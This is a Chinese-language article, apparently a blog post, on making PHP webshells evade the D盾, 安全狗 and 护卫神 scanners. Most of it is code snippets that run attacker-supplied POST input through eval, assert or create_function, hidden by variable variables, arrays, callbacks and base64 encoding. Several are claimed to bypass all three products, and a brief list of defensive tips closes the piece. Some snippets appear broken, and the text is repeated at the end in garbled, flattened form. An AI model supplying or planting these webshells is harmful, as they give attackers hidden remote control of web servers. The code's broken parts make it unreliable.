Webshell免杀研究
字数 1044 2025-08-25 22:59:02

Webshell免杀技术研究与实践

前言

Webshell免杀技术是网络安全攻防对抗中的重要环节,本文旨在全面介绍针对主流安全防护软件(D盾、安全狗、护卫神)的Webshell免杀方法,包含小马和大马的多种免杀技巧。

主流查杀软件分析

D盾

  • 专为IIS设计的主动防御安全软件
  • 主要功能:一句话木马查杀、主动后门拦截、Session保护、CC攻击防御等
  • 查杀特点:匹配特征码、危险函数和木马特征值

安全狗

  • 提供木马查杀、漏洞防御、非法请求拦截等功能
  • 主要特性:拦截SQL注入、XSS攻击防御、0Day攻击防御等

护卫神

  • 适用于ASP和PHP程序的防护软件
  • 主要功能:实时木马程序查杀、网站挂马拦截、文件篡改保护等

查杀技术原理

  1. 静态检查:匹配特征码、危险函数和木马特征值

    • 优点:快速方便,对已知木马准确率高
    • 缺点:误报率高,无法检测0Day木马
  2. 动态检测:通过木马执行时的动态特征检测

  3. 日志检测:分析日志文件建立请求模型检测异常

    • 优点:访问量大时参考价值高
    • 缺点:误报率高,处理效率低

小马免杀技术

1. 引用免杀技术

原理:通过多次引用和反引号拼接绕过变量溯源

<?php
$a = "b";
$b = $_POST['x'];
eval(`
$$
a`);
?>

效果:成功免杀D盾、安全狗、护卫神

2. 可变变量免杀

原理:利用PHP可变变量特性动态改变变量名

<?php
$do = "todo";

$$
do = $_POST['x'];
eval(`$todo`);
?>

关键点:结合反引号(`)实现免杀

3. 二维数组免杀

原理:将执行代码放入数组中绕过检测

<?php
$b = $_POST['x'];
$a = array("a" => array("b" => $b));
eval(`$a[a][b]`);
?>

注意:一维数组可能被护卫神检测到

4. 数组交集免杀

原理:通过数组交集操作获取执行内容

<?php
$arr1 = array("a" => $_POST['x']);
$arr2 = array("a" => "b");
$result = array_intersect_key($arr1, $arr2);
eval(`$result[a]`);
?>

5. 回调函数免杀

原理:使用array_map()回调函数执行代码

<?php
function test($a, $b) {
    return array_map($a, $b);
}
test("assert", array($_POST['x']));
?>

大马免杀技术

1. 加密混淆免杀

步骤

  1. 使用base64加密原始大马
  2. 通过变量赋值和反引号拼接执行解密内容
<?php
$encoded = "base64加密后的内容";
$decoded = base64_decode($encoded);
eval(`$decoded`);
?>

关键点:避免直接使用base64_decode关键字

2. Create_function免杀

原理:使用create_function创建匿名函数

<?php
$func = "create_function";
$param = $_POST['x'];
$func('', $param)();
?>

优化:对函数名进行拆分和混淆

3. 可变变量大马免杀

原理:结合加密和可变变量技术

<?php
$do = "todo";

$$
do = base64_decode("加密的大马内容");
eval(`$todo`);
?>

总结与建议

  1. 免杀核心:灵活多变,结合多种技术

  2. 注意事项

    • 避免使用现成Webshell(可能有后门)
    • 自行设计木马程序更安全
    • 持续关注查杀软件更新
  3. 发展趋势:免杀与查杀技术将持续对抗演进

  4. 防御建议

    • 使用多层次的防护策略
    • 定期更新防护规则
    • 监控异常文件和行为

通过掌握这些免杀技术,安全研究人员可以更好地理解Webshell的工作原理和防护软件的检测机制,从而提升安全防护能力。

Webshell免杀技术研究与实践 前言 Webshell免杀技术是网络安全攻防对抗中的重要环节,本文旨在全面介绍针对主流安全防护软件(D盾、安全狗、护卫神)的Webshell免杀方法,包含小马和大马的多种免杀技巧。 主流查杀软件分析 D盾 专为IIS设计的主动防御安全软件 主要功能:一句话木马查杀、主动后门拦截、Session保护、CC攻击防御等 查杀特点:匹配特征码、危险函数和木马特征值 安全狗 提供木马查杀、漏洞防御、非法请求拦截等功能 主要特性:拦截SQL注入、XSS攻击防御、0Day攻击防御等 护卫神 适用于ASP和PHP程序的防护软件 主要功能:实时木马程序查杀、网站挂马拦截、文件篡改保护等 查杀技术原理 静态检查 :匹配特征码、危险函数和木马特征值 优点:快速方便,对已知木马准确率高 缺点:误报率高,无法检测0Day木马 动态检测 :通过木马执行时的动态特征检测 日志检测 :分析日志文件建立请求模型检测异常 优点:访问量大时参考价值高 缺点:误报率高,处理效率低 小马免杀技术 1. 引用免杀技术 原理 :通过多次引用和反引号拼接绕过变量溯源 效果 :成功免杀D盾、安全狗、护卫神 2. 可变变量免杀 原理 :利用PHP可变变量特性动态改变变量名 关键点 :结合反引号( ` )实现免杀 3. 二维数组免杀 原理 :将执行代码放入数组中绕过检测 注意 :一维数组可能被护卫神检测到 4. 数组交集免杀 原理 :通过数组交集操作获取执行内容 5. 回调函数免杀 原理 :使用array_ map()回调函数执行代码 大马免杀技术 1. 加密混淆免杀 步骤 : 使用base64加密原始大马 通过变量赋值和反引号拼接执行解密内容 关键点 :避免直接使用base64_ decode关键字 2. Create_ function免杀 原理 :使用create_ function创建匿名函数 优化 :对函数名进行拆分和混淆 3. 可变变量大马免杀 原理 :结合加密和可变变量技术 总结与建议 免杀核心 :灵活多变,结合多种技术 注意事项 : 避免使用现成Webshell(可能有后门) 自行设计木马程序更安全 持续关注查杀软件更新 发展趋势 :免杀与查杀技术将持续对抗演进 防御建议 : 使用多层次的防护策略 定期更新防护规则 监控异常文件和行为 通过掌握这些免杀技术,安全研究人员可以更好地理解Webshell的工作原理和防护软件的检测机制,从而提升安全防护能力。